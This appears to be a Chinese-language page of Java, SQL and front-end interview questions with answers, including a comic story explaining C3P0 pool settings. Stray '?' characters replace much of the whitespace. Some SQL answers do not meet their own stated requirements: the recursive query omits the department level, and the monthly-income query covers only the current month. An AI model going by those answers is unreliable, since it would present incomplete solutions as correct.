問題18、請用jQuery或任一AJAX框架寫一個異步提交請求,要求有成功處理回調函數、失敗回調函數,使用json格式傳遞數據。(具體業務參數、業務邏輯可留空) ?
??
回調函數: ?
代表請求返回內容的 data; 代表請求狀態的 textStatus 對象和 XMLHttpRequest 對象 ?
?
$.post(url,{"username":"java"},function(backData,status,xhr){ ?
? ? ? ? ? ? if(status=="success"){ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? }else{ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? } ?
? ? ? ? }); ?
??
??
問題19、將頁面所有table邊框顏色設置為#66FFCC,table里面的th元素里的文字大小設為13px,td里的文字大小設為12px? ?
??
<style type="text/css"> ?
? ? ? ? ? ? table{border-color: #66FFCC} ?
? ? ? ? ? ? table th{font-size: 13px} ?
? ? ? ? ? ? table td{font-size: 12px} ?
? ? ? ? </style> ?
??
問題20、將頁面id為form1的Form表單背景顏色設為#66FFCC? ?
??
??
??
<style type="text/css"> ?
? ? ? ? ? ? #form1{background: #66FFCC} ?
? ? ? ? </style> ?
??
問題21、要求用js將下列html中class=”a”的<li/>標簽的innerText填充為”hello world”。 ?
??
??
??
function add(){ ?
? ? ? ? ? ? var lis = document.getElementsByTagName("li"); ?
??
? ? ? ? ? ? for(var i=0; i <lis.length; i++){ ?
? ? ? ? ? ? ? ? if(lis[i].className=="a"){ ?
? ? ? ? ? ? ? ? ? ? lis[i].innerText="hello world"; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
? ? ? ? add(); ?
??
問題22、請用流復制的方式,完成以下文件復制方法,不許使用第三方類庫? ?
??
public void copyFile(String sourceFilePath, String targetFilePath) throws Exception { ?
??
? ? ? ? FileInputStream fis=new FileInputStream(sourceFilePath); ?
? ? ? ? FileOutputStream fos=new FileOutputStream(targetFilePath); ?
? ? ? ? ??
? ? ? ? byte[] byt=new byte[1024];//緩沖區 ?
? ? ? ? int len=0; ?
? ? ? ? ??
? ? ? ? while((len=fis.read(byt))>0){ ?
? ? ? ? ? ? fos.write(byt,0,len); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? fis.close(); ?
? ? ? ? fos.close(); ?
} ?
??
問題23、用程序在控制臺輸出101-199之間所有質數(大于1且不能被1或自己以外的自然數? ?
??
for (int i = 101; i < 200; i++) { ?
? ? ? ? ? ? int a = 0; ?
? ? ? ? ? ? for (int j = 1; j <= i; j++) { ?
? ? ? ? ? ? ? ? if (i % j == 0) { ?
? ? ? ? ? ? ? ? ? ? //第一次是被1整除,第二次是被自己整除 ?
? ? ? ? ? ? ? ? ? ? a++; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? if (i == j && a == 2) { ?
? ? ? ? ? ? ? ? ? ? System.out.println(i); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
問題24、數據庫編程題 ?
有一張部門表sec_dept ?
dept_id varchar2(38) ? ?dept_name varchar2(100) parent_id varchar(38) ?
部門id ? ?部門名稱 ? ?上級部門id ?
??
建表語句: ?
DROP TABLE sec_dept; ?
CREATE TABLE sec_dept( ?
dept_id VARCHAR2(38), ?
dept_name VARCHAR2(100), ?
parent_id VARCHAR(38), ?
PRIMARY KEY (dept_id) ?
); ?
??
INSERT INTO sec_dept values('1','部門A',null); ?
INSERT INTO sec_dept values('2','部門B',null); ?
INSERT INTO sec_dept values('3','部門C','1'); ?
INSERT INTO sec_dept values('4','部門D','2'); ?
INSERT INTO sec_dept values('5','部門E','3'); ?
INSERT INTO sec_dept values('6','部門F','4'); ?
??
SELECT * FROM sec_dept; ?
??
??
如果該部門為頂級部門則parent_id為null。現要求: ?
用一條sql從頂級部門開始遞歸查出所有部門,并展示各個部門的級別。Sql可以寫plsql或tsql。 ?
結果格式如: ?
部門名稱 ? 級別 ?
部門A ? ? ?1 ?
部門B ? ? ?2 ?
部門C ? ? ?2 ?
部門D ? ? ?3 ?
部門E ? ? ?3 ?
部門F ? ? ?3 ?
??
??
select dept_name,parent_id from sec_dept ??
start with dept_id in (select dept_id from sec_dept where parent_id is null) ??
connect by prior dept_id=parent_id; ?
??
假設目前需要對所有部門表進行分頁查詢(不用考慮問題1的部門級別),每頁數據顯示10條記錄,目前要查第3頁的部門數據,請寫出查詢sql(假設部門不止30個) ?
??
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM sec_dept) A ??
WHERE ROWNUM <= 30 ?
) ?
WHERE RN >= 21; ?
??
問題25、數據庫編程題? ?
現有工資表income字段如下: ?
Income_time Date ? ?person ?Dept_id Dept_name ? income ??
收入日期 ? ?人員 ?部門id ? ?部門名稱 ? ?收入 ?
??
建表語句: ?
DROP TABLE income; ?
CREATE TABLE income( ?
income_time Date, ?
person VARCHAR2(50), ?
Dept_id VARCHAR(20), ?
Dept_name VARCHAR(20), ?
income number ?
); ?
??
INSERT INTO income values(sysdate,'A號','1','A部門',1000); ?
INSERT INTO income values(add_months(sysdate,-1),'A號','1','A部門',2000); ?
INSERT INTO income values(add_months(sysdate,1),'A號','1','A部門',3000); ?
INSERT INTO income values(sysdate,'B號','2','B部門',700); ?
INSERT INTO income values(add_months(sysdate,-1),'B號','2','B部門',500); ?
INSERT INTO income values(add_months(sysdate,1),'B號','2','B部門',600); ?
INSERT INTO income values(sysdate,'C號','3','C部門',4000); ?
INSERT INTO income values(add_months(sysdate,-1),'C號','3','C部門',3500); ?
INSERT INTO income values(add_months(sysdate,1),'C號','3','C部門',4500); ?
??
??
要求用一個SQL語句(注意是一個)的處所有人(不區分人員)每個月及上月和下月的總收入 ?
要求列表輸出為: ?
年份 ?月份 ?當月收入 ? ?上月收入 ? ?下月收入 ?
?
??
select ??
(SELECT to_char(sysdate,'yyyy') from dual) as "年份", ?
(SELECT to_char(sysdate,'mm') from dual) as "月份", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')) as "當月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')-1) as "上月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')+1) as "下月收入" ??
from dual; ? ? ?
??
查出各個月份的各部門所有人總收入,要求生成合計行 ?
生成結果如: ?
2013年 6月 開發1部 A君 3000 ?
2013年 6月 開發1部 B君 3000 ?
2013年 6月 開發1部 C君 3000 ?
2013年 6月 開發1部 合計 9000 ?
2013年 6月 開發2部 D君 3000 ?
2013年 6月 開發2部 E君 3000 ?
2013年 6月 開發2部 合計6000 ?
??
注意: 統計了各月份各部門所有人的總收入,但未實現生成合并行 ?
SELECT to_char(income_time,'yyyy-mm'),dept_name,person,sum(income) ??
FROM income ??
GROUP BY to_char(income_time,'yyyy-mm'),dept_name,person ??
ORDER BY to_char(income_time,'yyyy-mm'); ?
??
問題26、數據庫編程題 ?
??
當前有兩個數據量很大的寬表A和B ?
A結構: ?
Pk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2 varchar2(200) ? ?…. ?
主鍵 ?字段1 字段2 其余字段 ?
B結構: ?
Pk_id varchar2(38) ?Fk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2. varchar2(200) ? …. ?Create_time ??
主鍵 ?關聯A的外鍵 ?字段1 字段2 其余字段 ? ?生成時間 ?
??
其中表B的數據每日生成一次,且新增數量級達到百萬級。 ?
表A為維表數據基本不變。表A和B除主、外鍵沒有任何鍵或其它優化措施。 ?
目前需每月通過以下sql統計出符合條件的B表的Feild1和Field2明細信息 ?
Select * from B ??
where Months_between(create_time, sysdate) = 0 ??
and fk_id in (select pk_id from A where A.field1 = ‘condition’) ?
若只考慮對上述sql查詢性能的優化,可以采取哪些優化措施?(優化措施可有多種,請盡量列舉) ?
??
1、通配符*號修改為Field1和Field2 ?
2、為A表的Field1建立索引 ?
3、in修改為exists ?
??
2013年9月5日: ?
??
問題1、說說ArrayList,Vector, LinkedList的存儲性能和特性? ?
??
ArrayList和Vector都是使用數組方式存儲數據,此數組元素數大于實際存儲的數據以便增加和插入元素,它們都允許直接按序號索引元素,但是插入元素要涉及數組元素移動等內存操作,所以索引數據快而插入數據慢,Vector由于使用了synchronized方法(線程安全),通常性能上較ArrayList差,而LinkedList使用雙向鏈表實現存儲,按序號索引數據需要進行前向或后向遍歷,但是插入數據時只需要記錄本項的前后項即可,所以插入速度較快。 ?
LinkedList也是線程不安全的,LinkedList提供了一些方法,使得LinkedList可以被當作堆棧和隊列來使用。 ?
??
問題2、short s1 = 1; s1 = s1 + 1;有什么錯? short s1 = 1; s1 += 1;有什么錯? ?
??
short s1 = 1; s1 = s1 + 1; (s1+1運算結果是int型,需要強制轉換類型) ?
short s1 = 1; s1 += 1;(可以正確編譯) ?
??
當使用+=、-=、*=、/=、%=、運算符對基本類型進行運算時,遵循如下規則: ?
運算符右邊的數值將首先被強制轉換成與運算符左邊數值相同的類型,然后再執行運算,且運算結果與運算符左邊數值類型相同。 ?
??
在s1=s1+1;中,s1+1運算的結果是int型,把它賦值給一個short型變量s1,所以會報錯 ?
??
而在s1+=1;中,由于s1是short類型的,所以1首先被強制轉換為short型,然后再參與運算,并且結果也是short類型的,因此不會報錯 ?
??
那么,s1=1+1;為什么不報錯呢? ?
這是因為1+1是個編譯時可以確定的常量,“+”運算在編譯時就被執行了,而不是在程序執行的時候,這個語句的效果等同于s1=2,所以不會報錯。 ?
??
前面講過了,對基本類型執行強制類型轉換可能得出錯誤的 ?
結果,因此在使用+=、-=、*=、/=、%=、等運算符時,要多加注意。 ?
??
問題3、說說你對數據庫設計里的三范式的理解? ?
??
第一范式(1NF)無重復的列 ?
??
所謂第一范式(1NF)是指數據庫表的每一列都是不可分割的基本數據項,同一列中不能同時有多個值,即實體中的某個屬性不能有多個值或者不能有重復的屬性。 ?
如果出現重復的屬性,就可能需要定義一個新的實體,新的實體由重復的屬性構成,新實體與原實體之間為一對多關系。在第一范式(1NF)中表的每一行只包含一個實例的信息。簡而言之,第一范式就是無重復的列。 ?
?
在任何一個關系數據庫中,第一范式(1NF)是對關系模式的基本要求,不滿足第一范式(1NF)的數據庫就不是關系數據庫。 ?
在當前的任何關系數據庫管理系統(DBMS)中,不可能做出不符合第一范式的數據庫,因為這些DBMS不允許你把數據庫表的一列再分成二列或多列。因此,你想在現有的DBMS中設計出不符合第一范式的數據庫都是不可能的。 ?
舉例: ?
一張學生表Student(stuNo,stuName,age,age,sex)是不符合第一范式的,因為有重復列age屬性。 ?
去除重復列age以后的Student(stuNo,stuName,age,sex)是符合第一范式的。 ?
??
第二范式(2NF)屬性完全依賴于主鍵 [ 消除部分子函數依賴 ] ?
??
第二范式(2NF)是在第一范式(1NF)的基礎上建立起來的,即滿足第二范式(2NF)必須先滿足第一范式(1NF)。 ?
第二范式(2NF)要求數據庫表中的每個實例或行必須可以被唯一地區分。為實現區分通常需要為表加上一個列,以存儲各個實例的唯一標識。 ?
例如員工信息表中加上了員工編號(emp_id)列,因為每個員工的員工編號是唯一的,因此每個員工可以被唯一區分。這個唯一屬性列被稱為主關鍵字或主鍵、主碼。 ?
? ?
第二范式(2NF)要求實體的屬性完全依賴于主關鍵字。 ?
所謂完全依賴是指不能存在僅依賴主關鍵字一部分的屬性,如果存在,那么這個屬性和主關鍵字的這一部分應該分離出來形成一個新的實體,新實體與原實體之間是一對多的關系。 ?
為實現區分通常需要為表加上一個列,以存儲各個實例的唯一標識。簡而言之,第二范式就是屬性完全依賴于主鍵。 ?
這里說的主關鍵字可能不只有一個,有些情況下是存在聯合主鍵的,就是主鍵有多個屬性。 ?
??
舉例: ?
以學生選課為例,每個學生都可以選課,并且有這一門課程的成績,那么如果將這些信息都放在一張表StuGrade(stuNo,stuName,age,sex,courseNo,courseName,credit,score)。 ?
?
如果不仔細看,我們會以為這張表的主鍵是stuNo,但是當我們看到最后一個score屬性以后,在想想如果沒有課程信息,那么哪里有學生成績信息呢。所以這張表的主鍵是一個聯合主鍵(stuNo,corseNo),這個聯合屬性能夠唯一確定score屬性。 ?
那么再看其他信息,比如stuName只需要stuNo就能夠唯一確定,courseName只需要courseNo就能夠唯一確定,因此這樣就存在了部分依賴,不符合第二范式。 ?
如果要讓學生課程成績信息滿足第二范式,那么久需要將這張表拆分成多張表,一張學生表Studnet(stuNo,stuName,age,sex),一張課程表Course(courseNo,courseName,credit),還有最后一張學生課程成績表StuGrade(stuNo,courseNo,score)。如下: ?
?
這樣就符合第二范式了。 ?
??
第三范式(3NF)屬性不依賴于其它非主屬性 [ 消除傳遞依賴 ] ?
??
滿足第三范式(3NF)必須先滿足第二范式(2NF)。 ?
簡而言之,第三范式(3NF)要求一個數據庫表中不包含已在其它表中已包含的非主關鍵字信息。 ?
??
舉例: ?
? ?
每一個員工都有一個所屬部門,假如有一個員工信息表 ?
Employee(emp_id,emp_name,emp_age,dept_id,dept_name,dept_info) ?
?
這張員工信息表的主鍵是emp_id,因為這個屬性能夠唯一確定其他所有屬性,比如知道員工編號emp_id以后,肯定能夠知道員工姓名,所屬部門編號,部門名稱和部門介紹。 ?
所以這里dept_id不是主屬性,而是非主屬性。 ?
?
但是,我們又可以發現dept_name,dept_info這兩個屬性也可以由dept_id這個非主屬性決定,即dept_name依賴dept_id,而dept_id依賴emp_id,這樣就存在了傳遞依賴。而且我們可以看出傳遞依賴的一個明顯缺點就是數據冗余非常嚴重。 ?
?
那么如何解決傳遞依賴問題? ?
其實非常簡單,我們只需要將dept_name,dept_info這連個屬性刪除就可以了。 ?
即修改為Employee(emp_id,emp_name,emp_age,dept_id) ?
然后再創建一個部門表Dept(dept_id,dept_name,dept_info) ?
?
這樣如果要搜索某一個員工的部門信息dept_info,可以通過數據庫連接來實現,查詢語句如下: ?
SELECT e.emp_id,e.emp_name,d.dept_name ??
FROM Employee e,Dept d ??
WHERE e.dept_id=d.dept_id; ?
?
注意: ?
數據庫連接會帶來一部分的性能損失 ?
并不是數據庫范式越高效率越高 ?
有時會在數據冗余與范式之間做出權衡,在實際的數據庫開發過程中,往往會允許一部分的數據冗余來減少數據庫連接 ?
??
問題4、數據庫范式越高越好嗎? ?
?
使用范式的主要目的是為了減少數據冗余、消除插入異常、更新異常、刪除異常。 ?
另外從程序設計的角度范式把數據模式做到了高內聚低耦合讓數據組織的更加和諧。 ?
在數據庫設計中應盡量滿足最高范式,但是應用的范式等級越高,查詢時需要連接的表就越多,這樣會增加了查詢的復雜度,降低了數據庫查詢性能處理速度緩慢和處理邏輯復雜 ?
為了提高數據庫的運行效率,常常需要降低范式標準:適當增加冗余,達到以空間換時間的目的。 ?
??
??
問題5、設計4個線程,中兩個線程每次對j增加1,另外兩個線程對j每次減少1,請寫出代碼? ?
??
// 采用 Runnable 接口方式創建的多條線程可以共享實例屬性 ?
? ? private int data; ?
??
? ? /* ?
? ? ?* 這里add方法和sub方法加synchronized關鍵字 ?
? ? ?* 是因為當兩個線程同時操作同一個變量時 ?
? ? ?* 就算是簡單的j++操作時,在系統底層也是通過多條機器語句來實現 ?
? ? ?* 所以在執行j++過程也是要耗費時間, ?
? ? ?* 這時就有可能在執行j++的時候,另外一個線程H就會對j進行操作 ?
? ? ?* 因此另外一個線程H可能操作的可能就 不是最新的值了,因此要提供線程同步 ?
? ? ?*/ ?
? ? ??
? ? // 同步增加方法 ??
? ? private synchronized void add() { ?
? ? ? ? data++; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 同步減少方法 ??
? ? private synchronized void sub() { ?
? ? ? ? data--; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 增加線程 ?
? ? class Add implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? add(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
? ? ??
? ? // 減少線程 ?
? ? class Sub implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? sub(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? Test t = new Test(); ?
? ? ? ? ??
? ? ? ? //內部類的實例化 ?
? ? ? ? Add add = t.new Add(); ?
? ? ? ? Sub sub = t.new Sub(); ?
??
? ? ? ? //創建線程,每次創建2個線程,此處為2*n個線程,n=2 ?
? ? ? ? for (int i = 0; i < 2; i++) { ?
? ? ? ? ? ? Thread t1 = new Thread(add); ?
? ? ? ? ? ? t1.start(); ?
? ? ? ? ? ? Thread t2 = new Thread(sub); ?
? ? ? ? ? ? t2.start(); ?
? ? ? ? } ?
? ? } ?
??
問題6、寫一個方法,實現字符串的反轉,如:輸入abc,輸出cba? ?
??
方法1: ?
String data="abc"; ?
? ? ? ? char[] ch = data.toCharArray(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(); ?
? ? ? ? ??
? ? ? ? for (int i = ch.length-1; i >=0; i--) { ?
? ? ? ? ? ? sb.append(ch[i]); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法2: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(length); ?
? ? ? ? ??
? ? ? ? for (int i = length-1; i >= 0; i--) { ?
? ? ? ? ? ? sb.append(data.charAt(i)); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法3: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? String str=""; ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < length; i++) { ?
? ? ? ? ? ? str=data.substring(i,i+1)+str; ?
? ? ? ? ? ? ??
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法4: ?
String data="abc"; ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(data); ?
? ? ? ? ??
? ? ? ? String str = sb.reverse().toString(); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法5:遞歸 ?
public static void main(String[] args) { ?
? ? ? ? String data="abc"; ?
? ? ? ? ??
? ? ? ? String reverse = Test.reverse(data); ?
? ? ? ? ??
? ? ? ? System.out.println(reverse); ?
? ? } ?
? ? ??
? ? public static String reverse(String data){ ?
? ? ? ? if(data.length()==1){ ?
? ? ? ? ? ? return data; ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? String str = data.substring(data.length()-1, data.length()); ?
? ? ? ? ??
? ? ? ? str+=reverse(data.substring(0,data.length()-1)); ?
? ? ? ? ??
? ? ? ? return str; ?
? ? } ?
??
問題7、對于池技術的理解?-->以C3P0連接池為例 ?
??
----------------------------故事敘述開始 ?
講個故事,你就懂了。 ?
??
你出生在古代,并且開了個餐館。但你比較笨,一開始炒菜時,每炒一道菜都要 生火,炒菜,滅火, 炒第二道菜又要 生火,炒菜,滅火,第三道菜如此....。 ?
開了幾天飯館后,你覺得做菜很慢,跟不上客戶的速度,老被罵,冤枉啊!然后你就分析了,劈材生火最浪費時間,你一拍大腿:“我怎么就沒想到呢? 靠,我炒菜后不滅火不就快了嗎?” ?
掌握了“不滅火大法”真理的你,炒菜速度越發加快,贏得了新老食客的一致好評。美麗女顧客:“上菜真快呀,親!”。 ?
由于生意太好,好評率100%,顧客大大增加了,你的炒菜速度又跟不上了,你想啊想啊,怎么樣才能增加效率呢? 突然,正看著鍋里“鹵煮寒鴉兒”菜,冰雪聰慧的你突然一拍大腿,這些煮菜、燉菜太費時,而出鍋速度快的炒菜要在后面排隊。我應該同時使用2個鍋(與爐子)不斷火來做菜,不,3個鍋! ?
鍋臺的增加使你做菜效率翻了幾倍,食客和他們的小伙伴都驚呆了!然后,顧客自然更多了,面對熙熙攘攘等待上菜的食客,你的嘴角又露出一絲令人不易察覺的奸笑:“繼續增加鍋臺!”。 ?
可惜這村子小,鍋呢?很貴,你買不起,都是從炊具店租來的。隨著你同時啟用的鍋越來越多,終于,炊具店沒貨了。這時,你已經整整使用了20個鍋,有好幾個伙計在同時做菜。 ?
你仰天長嘯,“看來老夫最大只能使用同時20個鍋了,吉尼斯紀錄破不了了!已經到了我的maxPoolSize了!” ?
maxPoolSize:連接池中保留的最大連接數。默認為15 ?
伙計:“老板,你說什么鳥語?我怎么聽不懂啊?”你:“要不怎么我當,老板你當伙計呢?”伙計暗忖:“你妹的!” ----------------------------由于打字敘述太麻煩,以下全部使用對話來闡述劇情 ?
由于啟用了20個鍋臺,生意大好,到了晚上,伙計問道:“老板,明天我們上午開張時,一開始同時燒幾個鍋子呀?”你想了想:“5個把,燒少了客人多了來不及。”伙計:“得令!”你:“恩,就把initialPoolSize設成5就行了?”伙計:“..............”伙計:“奧,那一開始開5個鍋,之后呢?客人多了我們增加鍋是一個一個加嗎?”你:“笨死了,記好了,當鍋不夠用了的時候,一次加acquireIncrement個!”伙計:“....你說啥?”你:“額,3個,把acquireIncrement設為3.”伙計:“恩,3個,記住了,其他的聽不懂。” ?
initialPoolSize:初始化時創建的連接數,應在minPoolSize與maxPoolSize之間取值。默認為3 ?
acquireIncrement:當連接池中的連接用完時,C3P0一次性創建新連接的數目一天后伙計:“哦,老板,一開始開5個鍋,后來每次連開3個鍋,連續生火太嗆人,大家都受不了了,我們應該在每個鍋點火之間休息一小下。”你:“有理,就休息acquireRetryDelay毫秒把,額,10秒,懂了嗎?”伙計:“懂了,太好了,每次給我們10秒鐘來休息,您真是我們的好老板啊!” ?
acquireRetryDelay:兩次連接中間隔時間,單位毫秒,默認為1000一天后伙計:“對了,老板,今天小張伙計一天都在偷懶。”你:“怎么回事?”伙計:“小張今天拿到了一個壞鍋,怎么也點不著火,然后他就一直點,一直點,一天都沒干活,哼!我都累死啦!”你:“這個小張,真是個滑頭,好吧。我們從明天立一個規矩,鍋點不著火后,只允許重試acquireRetryAttempts次,就設置為10次把,如果超過10次,就要像我提出異常,我去聯系炊具店來修理,你們就無法偷懶了,哇卡卡卡卡卡!” ?
acquireRetryAttempts:定義在從數據庫獲取新連接失敗后重復嘗試獲取的次數,默認為30一天后伙計:“老板,我們人手不夠了,20個鍋,差不多需要7個人才能耍的過來,人少時候,利用不了全部的20個鍋。”你:“好辦,把numHelperThreads設為7,你們每個人就是一根線程,記住嘍!”伙計:“我們是什么?”你:“線程!”伙計:“........”伙計:“哦,我去干活了。”你:“你早就該去干活去了,哼!” ?
numHelperThreads:C3P0是異步操作的,緩慢的JDBC操作通過幫助進程完成。擴展這些操作可以有效的提升性能,通過多線程實現多個操作同時被執行。默認為3 ?
一天后伙計:“老板,不好了,小張伙計又偷懶了!”你:“我操,他又怎么了?”伙計:“由于20個鍋已滿,他拿不到第21個鍋,就在那里等著,也不去切菜、刷碗,太偷懶了,我都要累死了!”你:“懂了,把checkoutTimeout設為100000,只要他等待超過100秒,就要像我報異常,我來為他重新分配任務!”伙計:“太好啦!!” ?
checkoutTimeout:當連接池用完時客戶端調用getConnection()后等待獲取新連接的時間,超時后將拋出SQLException,如設為0則無限期等待。單位毫秒,默認為0一個月之后你:“伙計們,我們開店終于有1個月了,大家來算一下我們盈利的多少錢,大家分分紅,我這個人還是很開明的嘛,哈哈哈哈!”伙計:“報告老板,本店本月凈虧 2000 兩紋銀!”你:“怎么回事?我來看一下賬目!”你:“為什么木柴花錢這么多!!!!!”伙計:“因為每天開始時候是5個鍋,然后客人多了,每次開3個鍋,最后20個鍋全開。然后吃飯高峰過去后客人少了,我們的20個鍋都還燒著,其實很多時候并沒有菜需要炒。”你:“你們為什么不關鍋?????”伙計:“我們炒菜好了,不知道下面有沒有客人來,無法確定剛用完的鍋需不需要滅。”你:“這樣吧,憑你們的智商也解決不了了,從明天開始,你們炒菜的時候也要長點心,每idleConnectionTestPeriod秒鐘,也就是,額,100秒吧,每100秒檢查一下全部的20個鍋,如果發現了某個鍋已經空閑了maxIdleTime秒鐘沒有炒菜,就把他關了,額設為60秒吧! ?
idleConnectionTestPeriod:隔多少秒檢查所有連接池中的空閑連接,默認為0表示不檢查 ?
maxIdleTime:最大空閑時間,超過空閑時間的連接將被丟棄。為0或負數則永不丟棄。默認為0 ?
伙計:“老板英明,不過,如果一段時間沒人吃飯,所有鍋都關了,再來客人的時候,生火來不及啊,我們是不是應該保留最少幾個鍋一直不關呀?”你:“我靠,跟我說一席話勝,勝讀你十年書啊,你小子是智商見長啊!這樣吧,最后留3個鍋的火就行了,這就是minPoolSize。” ??
minPoolSize:連接池中保留的最小連接數你:“恩,說了那么多,你看看怎么樣更好的使用鍋呀?”伙計:“我們可以對鍋進行檢查測試,然后再使用。”你:“有理,何時檢查?”伙計:“把testConnectionOnCheckin設成true就可以在每次新開一個鍋的時候檢查了,如果把testConnectionOnCheckout設成true就可以在每次炒菜的時候檢查了。” ?
?
testConnectionOnCheckin:如果設為true那么在取得連接的同時將校驗連接的有效性。默認為false ?
?
testConnectionOnCheckout:因性能消耗大請只在需要的時候使用它。如果設為true那么在每個connection提交的時候都將校驗其有效性。建議使用idleConnectionTestPeriod或automaticTestTable等方法來提升連接測試的性能。默認為 false你:“我擦,原來你會英語啊!”伙計:“我,我,我,我說了什么了?我什么都不知道啊!”你:“小張、小王、小李,速來把這個伙計拖到后面,亂棍打死,他知道的太多了。”小張、小王、小李:“嘿嘿,我們等了好久了!”“啊啊啊啊”就在這個時候,你被經理一巴掌拍醒。經理:“別睡啦!天亮啦,起來干活啦!昨夜讓你通宵加班,你卻在電腦前睡覺,這樣吧,今晚你再通個宵!”你:“............” ?
----------------------------故事敘述結束 ?
??
2013年9月9日: ?
??
問題1、如何取小數點前兩位,并四舍五入,再進行顯示百分比? ?
??
小數點前兩位方法1: ?
BigDecimal bd = new BigDecimal(0.4567); ?
??
? ? ? ? // 保留兩位小數且向上進位的四舍五入,四舍五入后要重新賦值,不僅只setScale ?
? ? ? ? BigDecimal bds = bd.setScale(2, BigDecimal.ROUND_HALF_UP); ?
??
? ? ? ? System.out.println(bds); ?
??
小數點前兩位方法2: ?
DecimalFormat df = new DecimalFormat("#,##0.00"); ?
? ? ? ? ? ? ??
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
??
? ? ? ? String str = df.format(1234.4547); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
百分比顯示: ?
DecimalFormat df=new DecimalFormat("0.00%"); ?
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
? ? ? ? ??
? ? ? ? String str = df.format(0.4567); ?
? ? ? ? ??
? ? ? ? System.out.println(str);
總結